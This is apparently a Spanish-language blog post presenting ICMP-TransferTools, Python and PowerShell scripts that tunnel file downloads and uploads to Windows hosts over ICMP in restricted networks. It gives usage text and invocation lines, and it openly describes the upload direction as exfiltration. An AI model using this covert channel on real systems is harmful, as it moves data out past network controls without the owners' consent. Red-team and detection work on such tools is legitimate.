ICMP-TransferTools: transfiriendo archivos mediante ICMP

ICMP-TransferTools es un conjunto de scripts diseñados para mover archivos hacia y desde hosts de Windows en entornos de red restringidos. Esto se logra utilizando un total de 4 archivos diferentes, que consisten en un servidor Python y un cliente PowerShell para cada dirección de transferencia (Descargar y Subir).
La única dependencia requerida es Impacket para uno de los scripts de python. Se puede instalar a través de pip simplemente así:

pip3 install impacket

Descarga a través de ICMP

Los scripts ICMP-SendFile.py e Invoke-IcmpDownload.ps1 incluidos en el repo se pueden usar para descargar un archivo a un host de Windows a través de ICMP.
El servidor python debe ejecutarse primero para preparar el archivo para su descarga. Las opciones para el uso del script son las siguientes:

usage: ICMP-SendFile.py [-h] [-v] [-b 1000] source destination file

ICYGUIDER'S ICMP FILE DOWNLOAD SERVER

positional arguments:
  source                Public IP address of current host
  destination           Public IP address of destination host
  file                  File to transfer over ICMP

optional arguments:
  -h, --help            show this help message and exit
  -v, --verbose         Verbosely print progress
  -b 1000, --block-size 1000
                        Size of each block (Default: 1000)

Una vez importado, se puede usar el cliente en PowerShell para descargar el archivo de la siguiente manera:
Invoke-IcmpDownload PublicIPAddressOfServer FileToDownload

A continuación una pequeña demo:

Subida a través de ICMP

Los scripts ICMP-ReceiveFile.py e Invoke-IcmpUpload.ps1 incluidos se pueden usar para subir/exfiltrar un archivo desde un host de Windows a través de ICMP.

El servidor Python debe ejecutarse primero para garantizar que esté listo para aceptar peticiones del cliente. Las opciones para el uso del script son las siguientes:

usage: ICMP-ReceiveFile.py [-h] src file

ICYGUIDER'S ICMP FILE UPLOAD SERVER

positional arguments:
  src         Public IP Address of client
  file        File to write data to

optional arguments:
  -h, --help  show this help message and exit
Una vez importado, el cliente de PowerShell se puede usar para subir el archivo deseado de la siguiente manera:
Invoke-IcmpUpload PublicIPAddressOfServer FileToUpload
Y de nuevo, otra pequeña demo:


Repo: https://github.com/icyguider/ICMP-TransferTools

Comentarios